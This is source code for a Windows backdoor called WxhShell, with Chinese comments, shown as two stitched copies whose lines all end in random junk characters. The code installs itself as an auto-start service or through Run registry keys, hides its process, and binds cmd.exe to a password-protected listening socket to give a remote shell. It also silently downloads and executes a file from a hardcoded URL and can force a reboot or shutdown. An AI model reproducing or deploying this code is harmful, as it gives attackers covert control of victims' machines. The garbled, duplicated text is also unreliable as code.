    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FL&dv  
    if(Boot(SHUTDOWN)) TQ-KkH}y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jL_5]pzJ  
    else { a}yR p  
    closesocket(wsh); VDn:SGj5  
    ExitThread(0); )7AM3%z1?  
    } <kbnu7?a*  
    break; 'tuBuYD\  
    } la`"$f  
  // 获取shell Hirr=a3  
  case 's': { -'ZxN'*%  
    CmdShell(wsh); V16%Ne  
    closesocket(wsh); 61,O%lV  
    ExitThread(0); 6[+j'pW?  
    break; PbN3;c3  
  } {AgBwBCE  
  // 退出 ^A#x<J+  
  case 'x': { !gJzg*{u@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]-Lruq#  
    CloseIt(wsh); }!B.K^@)  
    break; \(bj(any  
    } LG6I_[  
  // 离开 +{*)}[w{x  
  case 'q': { qc&jd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4if\5P:j  
    closesocket(wsh); nx$bM(.  
    WSACleanup(); ?Cc :)  
    exit(1); 3):?ZCw7y  
    break; ^O \q3HA_4  
        } :D4];d>1  
  } 8]]@S"ZM,\  
  } DaDUK?  
O! (85rp/  
  // 提示信息 JZw^ W{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DaCblX  
} nX 8B;*p6b  
  } g]4y AV<2  
M:(&n@e  
  return; )f[C[Rd  
} +C5#$5];  
XHNkQe  
// shell模块句柄 ==`Pb  
int CmdShell(SOCKET sock) Wl TpX`  
{ ?RJdn]`4j  
STARTUPINFO si; 07Y_^d  
ZeroMemory(&si,sizeof(si)); X TM$a9)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nF|Oy0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4 +I 3+a"  
PROCESS_INFORMATION ProcessInfo; C[0MA ,^  
char cmdline[]="cmd"; B G5X_s0/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /+29.1#|  
  return 0;  ]CIe~q  
} fFHK:n`  
Iu%^*K%  
// 自身启动模式 Iht'e8)gq  
int StartFromService(void) O$U}d-Xnx  
{ $>![wZ3  
typedef struct SdSgn|S  
{ Q[jI=$Q)  
  DWORD ExitStatus; yWmrdvL  
  DWORD PebBaseAddress; ?-S8yqe  
  DWORD AffinityMask; wA1Ey:q  
  DWORD BasePriority; 0}D-KvjyP  
  ULONG UniqueProcessId; HoL~j({  
  ULONG InheritedFromUniqueProcessId; y:C)%cv}*  
}   PROCESS_BASIC_INFORMATION; L9$&-A9ix  
T?#s'd  
PROCNTQSIP NtQueryInformationProcess; nfa_8  
0W_mCV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7|{ B#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "R8.P/ 3  
[bsXF#  
  HANDLE             hProcess; wePI*."]  
  PROCESS_BASIC_INFORMATION pbi; `ReGnT[  
9p4%8WhJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); },v&rkwR  
  if(NULL == hInst ) return 0; ]d^ k4 d  
'H!V54 \j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TqXg e{r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D/cg7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FN>L7 *,0  
df^0{gNHx  
  if (!NtQueryInformationProcess) return 0; m[W/j/$A+x  
{hM"TO7\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rykj2/O  
  if(!hProcess) return 0; 8-A:k E  
aDN.gM S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X8i[fk1.R  
\FVNXU MU  
  CloseHandle(hProcess); B#QL M^  
b]"2 VN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }#&~w 0P  
if(hProcess==NULL) return 0; ma1 (EJ/  
eVrnVPkM  
HMODULE hMod; )=y.^@UT@  
char procName[255]; El{r$-}  
unsigned long cbNeeded; *q}FV2  
,}u,)7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LNaeB(z"  
C0gfJ~M )  
  CloseHandle(hProcess); ^u3*hl}YKy  
'frWu6]< 4  
if(strstr(procName,"services")) return 1; // 以服务启动 q?(A!1(u  
R08&cd#$  
  return 0; // 注册表启动 p?}f|mQS)  
} z1kBNOr  
hr%U>U9F  
// 主模块 )sRN!~  
int StartWxhshell(LPSTR lpCmdLine) j{)fC]8H  
{ U&`6&$]  
  SOCKET wsl; 5[nmP95YK  
BOOL val=TRUE; Wux0RF&  
  int port=0; lK "' nLL  
  struct sockaddr_in door; :,jPNuOA  
9U&~(;  
  if(wscfg.ws_autoins) Install(); 3\,MsoAl  
=[s8q2V  
port=atoi(lpCmdLine); @51z-T  
l +|1G  
if(port<=0) port=wscfg.ws_port; cW=Qh-`jU;  
DE'Xq6#PK  
  WSADATA data; d8 rBu jT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GI}4,!^N  
SwyaYK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K *TnUQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F ~*zC`>Y  
  door.sin_family = AF_INET; p@vpd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); " 98/HzR  
  door.sin_port = htons(port); K1/ U (A  
uFz/PDOZ@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :wFb5"  
closesocket(wsl); fdN45in=>  
return 1; "&@gX_%  
} j[_t6Z  
)uANmThOz  
  if(listen(wsl,2) == INVALID_SOCKET) { _MGNKA6JI  
closesocket(wsl); ;9}w|!/  
return 1; _c[|@D  
} 3xRM 1GgO  
  Wxhshell(wsl); n/xXQ7y  
  WSACleanup(); 3Wjq>\  
km9Gwg/zT  
return 0; 5BrU'NF  
nWKO8C>  
} "(Mvl1^BT  
>s;oOo+5  
// 以NT服务方式启动 EV:_Kx8fP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vp|2wlFE-  
{ k&WUv0  
DWORD   status = 0; JtSuD>H`"  
  DWORD   specificError = 0xfffffff; r;c' NqP  
W^^K0yn`@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =s`XZkh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,?C|.5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &/ \O2Aw8  
  serviceStatus.dwWin32ExitCode     = 0; h1n*WQ-  
  serviceStatus.dwServiceSpecificExitCode = 0; c$@`P  
  serviceStatus.dwCheckPoint       = 0; d,zp `S  
  serviceStatus.dwWaitHint       = 0; Q1aHIc  
FX{ ~"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <sm#D"GpP  
  if (hServiceStatusHandle==0) return; AmP#'U5  
<l* agH-.3  
status = GetLastError(); rdXCWK$E  
  if (status!=NO_ERROR) s;vWR^Ll  
{ 98X!uh'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?lu_}t]  
    serviceStatus.dwCheckPoint       = 0; ,lrYl!,  
    serviceStatus.dwWaitHint       = 0; kEp.0wL'  
    serviceStatus.dwWin32ExitCode     = status; X(4s;i  
    serviceStatus.dwServiceSpecificExitCode = specificError; <]Ij(+J;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FgXu1-  
    return; 29&sydu  
  } "2*G$\  
qXXYF>Z-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CkmlqqUHC  
  serviceStatus.dwCheckPoint       = 0; xR\D(FLV S  
  serviceStatus.dwWaitHint       = 0; z8 hTZU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 99\{!W  
} |Dl*w/n  
}@3Ud ' Y  
// 处理NT服务事件,比如:启动、停止 C4&U:y<ju  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b7?U8/#'  
{ MDMtOfe|  
switch(fdwControl) SNQz8(O  
{ 59&T/  
case SERVICE_CONTROL_STOP: ST[2]   
  serviceStatus.dwWin32ExitCode = 0; s/r5,IFR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;b, -$A  
  serviceStatus.dwCheckPoint   = 0; 'CP/ymf/a  
  serviceStatus.dwWaitHint     = 0; mle_*Gy8  
  { *LY~l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L!CX &  
  } hB|H9+  
  return; (%``EIc<8  
case SERVICE_CONTROL_PAUSE: h$E\2lsE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aK8bKlZe  
  break; Mfnlue](  
case SERVICE_CONTROL_CONTINUE: OpWeW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yw;ghP;  
  break; UN cYu9[  
case SERVICE_CONTROL_INTERROGATE: xI=}z  
  break; AZh@t?)  
}; utYnaeQcn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P5'iYahCq_  
} XkMs   
}"F ?H:\  
// 标准应用程序主函数 >2l13^Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i /O1vU#  
{ g*:ae;GP  
`_NnQ%  
// 获取操作系统版本 oUW )H  
OsIsNt=GetOsVer(); ]_^"|RJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &"U9X"8b  
ib5;f0Qa  
  // 从命令行安装 YQN]x}:E+4  
  if(strpbrk(lpCmdLine,"iI")) Install(); e%P+KX  
r;&]?9)W0  
  // 下载执行文件 {0NsDi>(2  
if(wscfg.ws_downexe) { #rn4 $  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?z\q Mu  
  WinExec(wscfg.ws_filenam,SW_HIDE); %8}WX@SB  
} Tf&f`/  
%JP&ox|^&  
if(!OsIsNt) { OqfhCNAY  
// 如果时win9x,隐藏进程并且设置为注册表启动 nx!qCgo  
HideProc(); ^kCk^D-Gz  
StartWxhshell(lpCmdLine); =yk Rki  
} e3yorQ][  
else R9b/?*%=9  
  if(StartFromService()) }};j2  
  // 以服务方式启动 Wo:zU  
  StartServiceCtrlDispatcher(DispatchTable); Bi9 N  
else |'V<>v.v  
  // 普通方式启动 `^X RrVX<  
  StartWxhshell(lpCmdLine); 2.fyP"P L  
Z^/z  
return 0; kcq9p2zKv  
} A&NC0K}G!  
o 1 hdO  
J[j/aDdP  
u%+6Mp[E  
=========================================== nvO%  
Lu8%qcC  
7AGZu?1]M  
[M7iJcwt  
PTuCN  
^F0k2pB  
" n}AR/3}  
GsP@ B'  
#include <stdio.h> {<- ouD  
#include <string.h> C&gOA8nf  
#include <windows.h> 7':5  
#include <winsock2.h> OEy:#9<'  
#include <winsvc.h> u):%5F/  
#include <urlmon.h>  m+72C]9  
),D`ZRXS  
#pragma comment (lib, "Ws2_32.lib") G<">/_jn  
#pragma comment (lib, "urlmon.lib") E i\J9zt  
2g ?Jb5)  
#define MAX_USER   100 // 最大客户端连接数 C1#o<pv  
#define BUF_SOCK   200 // sock buffer 7})!>p )  
#define KEY_BUFF   255 // 输入 buffer >+A1 V[  
MYDf`0{$_a  
#define REBOOT     0   // 重启 {Gk}3u/  
#define SHUTDOWN   1   // 关机 0] :*v?  
n3HCd- z  
#define DEF_PORT   5000 // 监听端口 J]=aI>Ow  
;9!yh\\   
#define REG_LEN     16   // 注册表键长度 ?j&~vy= T  
#define SVC_LEN     80   // NT服务名长度 wa(Wit"-  
w{YtTZp3  
// 从dll定义API m 1'&{O:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T0*TTB&b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y:i[~y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xvdnEaWe$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q?Bj q>  
WRLu 3nBx  
// wxhshell配置信息 Fu1|b2B-x  
struct WSCFG { (<> Sz(  
  int ws_port;         // 监听端口 Yn[EI7D  
  char ws_passstr[REG_LEN]; // 口令 k<j)?_=`  
  int ws_autoins;       // 安装标记, 1=yes 0=no T|BY00Sz`  
  char ws_regname[REG_LEN]; // 注册表键名 *mK);@pL  
  char ws_svcname[REG_LEN]; // 服务名 *s<dgFA'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Vne. HFXA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \J3v>&m<7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8,H#t@+MT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?4wehcZz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?Qo_ KQ%sn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dp//p)B>  
psyH?&T  
}; 0+2Matk>.  
"u,~yxYWl  
// default Wxhshell configuration fdCxMKlu;  
struct WSCFG wscfg={DEF_PORT, <Hr@~<@~  
    "xuhuanlingzhe", 3*2&Fw!B  
    1, {Gb)Et]<  
    "Wxhshell", gk_Xu  
    "Wxhshell", zM8/ s96h  
            "WxhShell Service", A\PV@w%A i  
    "Wrsky Windows CmdShell Service", 93Ci$#<y  
    "Please Input Your Password: ", E3.W#=o  
  1, e~2*> 5\:  
  "http://www.wrsky.com/wxhshell.exe", y?R <g^A  
  "Wxhshell.exe" .U(SkZ`6  
    }; -fSKJo#}|  
M*T# 5  
// 消息定义模块 P`IMvOs&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ++p& x{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j9L+.UVI,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C(%5,|6  
char *msg_ws_ext="\n\rExit."; T h- vG  
char *msg_ws_end="\n\rQuit."; rY_C3;B  
char *msg_ws_boot="\n\rReboot..."; -JyODW#j  
char *msg_ws_poff="\n\rShutdown..."; n4r( Vg1GS  
char *msg_ws_down="\n\rSave to "; i_ODgc`H  
1 Z$99  
char *msg_ws_err="\n\rErr!"; =|{,5="  
char *msg_ws_ok="\n\rOK!"; w3?t})PB&  
Kz*AzB  
char ExeFile[MAX_PATH]; }&C!^v o  
int nUser = 0; HU'`kimWb  
HANDLE handles[MAX_USER]; [%)B%h`XGf  
int OsIsNt; KbuGf$Bv  
7N~qg 7&  
SERVICE_STATUS       serviceStatus; #35S7G^@`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BI]ut |Qw  
`w+9j-  
// 函数声明 3sg)]3jm2  
int Install(void); _I70qz8  
int Uninstall(void); KxTYc  
int DownloadFile(char *sURL, SOCKET wsh); _^2[(<Gmv  
int Boot(int flag); $85o%siS'  
void HideProc(void); 3xCA\*  
int GetOsVer(void); C;:1CK  
int Wxhshell(SOCKET wsl); %ucmJ-< y#  
void TalkWithClient(void *cs); ##+ 8GLQM  
int CmdShell(SOCKET sock); WbDC  
int StartFromService(void); Kp=3\)&  
int StartWxhshell(LPSTR lpCmdLine); $d??(   
)i6U$,]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kq.R(z+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F0ivL`  
k s`  
// 数据结构和表定义 CR<pB)F?a  
SERVICE_TABLE_ENTRY DispatchTable[] = |s3HeY+Co  
{ U+}9X^  
{wscfg.ws_svcname, NTServiceMain}, sxQ,x/O  
{NULL, NULL} 7!yF5 +_d  
}; _ L:w;Oy9T  
my\oC^/9  
// 自我安装 Z FrXw+  
int Install(void) Ef*.}gcU  
{ sFz4^Kn  
  char svExeFile[MAX_PATH]; N n-6/]d#  
  HKEY key; yNMwd.r[  
  strcpy(svExeFile,ExeFile); I3[RaZ2z{  
"?0 G^zu  
// 如果是win9x系统,修改注册表设为自启动 xY}j8~k  
if(!OsIsNt) { <!HD tN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +&zuI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Caap/L:  
  RegCloseKey(key); o  >4>7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U+A(.+d.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ky~~Cd$  
  RegCloseKey(key); %Ja{IWz9L  
  return 0; E,?aBRxy  
    } ZxeE6&#M^w  
  } y2% ^teX k  
}  F-\8f(\  
else { tlxjs]{0E  
I EsD=  
// 如果是NT以上系统,安装为系统服务 e =Tc(Mwn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q c< O; #  
if (schSCManager!=0) Pg8=  
{ 8}`8lOE7  
  SC_HANDLE schService = CreateService -Aym+N9  
  ( 8JO\%DFJ  
  schSCManager, G.E~&{5xQ  
  wscfg.ws_svcname, Hf]}OvT>Z  
  wscfg.ws_svcdisp, 6o23#JgN  
  SERVICE_ALL_ACCESS, LYT<o FE-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xcRrI|?eC  
  SERVICE_AUTO_START, Jz8#88cY  
  SERVICE_ERROR_NORMAL, tZBE& :l  
  svExeFile, UHl/AM> !  
  NULL, t:@A)ip  
  NULL, 8uD%]k=#!  
  NULL, <^c0bY1  
  NULL, nk,Mo5iqV  
  NULL (>lqp%G~  
  ); ;}9Ws6#XQs  
  if (schService!=0) f2e$BA  
  { r|BKp,u9  
  CloseServiceHandle(schService); _^s SI<&m  
  CloseServiceHandle(schSCManager); ^ J@i7FOb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !Kqj&y5  
  strcat(svExeFile,wscfg.ws_svcname); E1Aa2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _~&v s<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {j4:. fD  
  RegCloseKey(key); w)SxwlW}  
  return 0; _Ws k3AP  
    } tJfN6  
  } =y/ Lbe}:  
  CloseServiceHandle(schSCManager); hpe s  
} O.f3 (e!  
} Bq =](<>>  
4~MUc!  
return 1; KFG^vmrn  
} e7AI&5Eg{  
JV{!Ukuyp+  
// 自我卸载 t7%Bv+Uo  
int Uninstall(void) JKv4}bv  
{ uXa}<=O  
  HKEY key; R,Uy3N  
@!HMd{r  
if(!OsIsNt) { w|*G`~l09  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T<,tC"  
  RegDeleteValue(key,wscfg.ws_regname); z9c=e46O  
  RegCloseKey(key); \Le #+ P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zq>"a&Y,  
  RegDeleteValue(key,wscfg.ws_regname); (MU7  
  RegCloseKey(key); ?bi^h/ f  
  return 0; D4S?b ZFHo  
  } 6>7LFV1tvy  
} <[??\YOc  
} j?ubh{Izm  
else { 5]ob;tAm  
e%7P$.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aV#;o9H{  
if (schSCManager!=0) #yxYL0CcA:  
{ hpKc_|un  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :WTvP$R  
  if (schService!=0) S$:S*6M@"  
  { iJ#oI@s  
  if(DeleteService(schService)!=0) { QZP;k!"w  
  CloseServiceHandle(schService); *#9kFz-  
  CloseServiceHandle(schSCManager); Ykq }9  
  return 0; $)a5;--W  
  } X2kLbe  
  CloseServiceHandle(schService); bTKxv<  
  } g{{SY5qDj  
  CloseServiceHandle(schSCManager); U^S:2  
} pMrf i}esx  
} ~u1J R`y  
$\H46Ji  
return 1; ds[~Cp   
} A|nU _*  
-<.NEV  
// 从指定url下载文件 }+3~y'k  
int DownloadFile(char *sURL, SOCKET wsh) 2Rt ZTn  
{ (G'ddZAJV  
  HRESULT hr; ,urkd~  
char seps[]= "/"; :Dm@3S$4<  
char *token; 8)ol6Mi{  
char *file; l8li@K  
char myURL[MAX_PATH]; @isqFKjph  
char myFILE[MAX_PATH]; ew~FN  
c(JO;=,@9  
strcpy(myURL,sURL); SX8%F:<.  
  token=strtok(myURL,seps); D4T+Gk"n  
  while(token!=NULL) |,f6c Om f  
  { B}T72!a  
    file=token; l/M+JT~R  
  token=strtok(NULL,seps); _CT|5wQF<  
  } wpmtv325  
|Q+v6r(<zZ  
GetCurrentDirectory(MAX_PATH,myFILE); yU`IyaazZ  
strcat(myFILE, "\\"); 3P>@ :  
strcat(myFILE, file); Dn! V)T  
  send(wsh,myFILE,strlen(myFILE),0); Jc6 D^=  
send(wsh,"...",3,0); Etk<`GRfA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pswppC6f  
  if(hr==S_OK) $nN$"  
return 0; }e w?{  
else S)h1e%f, f  
return 1; =]Bm>67"  
=^}2 /vA  
} u^9,u/gj  
\hX^Cn=6  
// 系统电源模块 evP`&23tP  
int Boot(int flag) CjCnh7tm  
{ g9.hR8X  
  HANDLE hToken; N/p_6GYMa  
  TOKEN_PRIVILEGES tkp; v<**GW]neD  
xbIA97g-O,  
  if(OsIsNt) { 5$w1[}UUd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _E7eJSM.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @n3PCH6:Ao  
    tkp.PrivilegeCount = 1; }%|OnEk"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Su~`jRN $  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3+ 'w%I  
if(flag==REBOOT) { C<ljBz`,t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~a Rq\fx{  
  return 0; W3kilhZ  
} nwYeOa/t  
else { ,kI1"@Tu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m-]"I8 [  
  return 0; xCD+qP ^  
} Z m>69gl  
  } 1owoh,V6  
  else { 6ZJQ '9f  
if(flag==REBOOT) { &bNj/n/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P nDZi  
  return 0; P*Nl3?T  
} %-.GyG$i  
else { "tIx$?I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )c_ll;%  
  return 0; _\zf XHp  
} \/%mabLK  
} 9:>vl0  
yo=d"*E4^  
return 1; mbK$Wp#  
} %G*D0pE  
3]Mx,u  
// win9x进程隐藏模块 zjS<e XLs[  
void HideProc(void) EWi@1PAZK  
{ OduTg^R  
?T&D@Ohsx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sh RvwE[  
  if ( hKernel != NULL ) r}w 9?s^rB  
  { LGkKR{ep(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wO9<An  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z'~FZRF  
    FreeLibrary(hKernel); t<=L&:<N  
  } I&9B^fF6  
1['A1 ,  
return; sQ$FtKm6  
} :1I,:L  
PC5FfX  
// 获取操作系统版本 6>Fw,$  
int GetOsVer(void) 6 9Cxh  
{ P#C`/%$S  
  OSVERSIONINFO winfo; *Bj G3Jc5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q]aRJ`9f  
  GetVersionEx(&winfo); [S%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t+VPX2  
  return 1; _e W*  
  else  S_atEmQ  
  return 0; ZL Aq8X  
} 3 ren1   
U7N<!6  
// 客户端句柄模块 Vl%k:  
int Wxhshell(SOCKET wsl) aap:~F{]X  
{ i8]r }a  
  SOCKET wsh; L r,$98Dy  
  struct sockaddr_in client; w@4+&v>O  
  DWORD myID; @9L9c  
k dqH36&<  
  while(nUser<MAX_USER) @ NF8?>!  
{ f{J7a1 `_  
  int nSize=sizeof(client); &*}S 0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pfG:P rZ  
  if(wsh==INVALID_SOCKET) return 1; d$ /o\G  
0WFZx Ad"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d0,I] "  
if(handles[nUser]==0) "v06F j>q  
  closesocket(wsh); )]}*oO  
else BsAglem  
  nUser++; @UA>6F  
  } 6 eBQ9XV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LLMkv!%D  
 Y+N87C<  
  return 0; sr\MQ?\fB  
} )c*~Y=f  
z t1Q_;  
// 关闭 socket W$&Q.Z  
void CloseIt(SOCKET wsh) cGD A0#r  
{ TCYnErqk  
closesocket(wsh); +1Uw<~  
nUser--; !(]|!F[m  
ExitThread(0); KNn E5f  
} &&JMw6 &[`  
<:p&P  
// 客户端请求句柄 /[IK [  
void TalkWithClient(void *cs) 5segzaI  
{ )gR&Ms4  
nD_g84us  
  SOCKET wsh=(SOCKET)cs; {|fA{ Q_R  
  char pwd[SVC_LEN]; NO&OuiN  
  char cmd[KEY_BUFF]; LRs{nN.N  
char chr[1]; HTC7fS  
int i,j; *?uF&( 0  
E,;nx^`!l  
  while (nUser < MAX_USER) { |^=`ln!  
a'|0e]  
if(wscfg.ws_passstr) { k;)L-ge9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \l:n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f?]cW h%  
  //ZeroMemory(pwd,KEY_BUFF); R'{V&H^Z  
      i=0; UY==1\  
  while(i<SVC_LEN) { @U&|38  
GV9"8M Z6  
  // 设置超时 Deam%)bXM]  
  fd_set FdRead; b~|B(lL6Xm  
  struct timeval TimeOut; {kC]x2 U  
  FD_ZERO(&FdRead);  j>6{PDaT  
  FD_SET(wsh,&FdRead); r"n)I$  
  TimeOut.tv_sec=8; h'bxgIl'`  
  TimeOut.tv_usec=0; @/9> /?JP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8E" .y$AW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a; "+Py  
ScI9.{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W] lFwj  
  pwd=chr[0]; qP"m819m  
  if(chr[0]==0xd || chr[0]==0xa) { 1q*3V8  
  pwd=0; {\%x{  
  break; .VI2V-Q  
  } Un<~P@T%  
  i++; 'HC4Q{b`  
    } FGZOn5U6'  
*33Zt+  
  // 如果是非法用户,关闭 socket m^ILcp!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4-TM3Cw`d&  
} }SYvGp{J,  
=IUTU4!]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <%!@cE+y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;%U`P8b!  
:!R+/5a  
while(1) { ,e;(\t:  
Z6Mh`:7  
  ZeroMemory(cmd,KEY_BUFF); al5?w{us  
R4o_zwWgPw  
      // 自动支持客户端 telnet标准   / og'W j  
  j=0; X<1# )xC  
  while(j<KEY_BUFF) { !6kLg1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8\[6z0+;  
  cmd[j]=chr[0]; s)-=l _4T  
  if(chr[0]==0xa || chr[0]==0xd) { <EE)d@%>v  
  cmd[j]=0; %9M_ * ]  
  break; WB= gN:?  
  } S]<Hx_[}  
  j++; NZ Xmrc{S  
    } :+u?A  
b&!X#3(KT  
  // 下载文件 $idYG<],  
  if(strstr(cmd,"http://")) { @)1u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <)rol  
  if(DownloadFile(cmd,wsh)) Oh|Hy/&6W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j/9'L^]  
  else a.q=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1X=}  
  } v67o>`<$  
  else { FzNs >*  
%=GnGgu  
    switch(cmd[0]) { \s,ZE6dQ  
  #/YKA{  
  // 帮助 ^Zg"`&E  
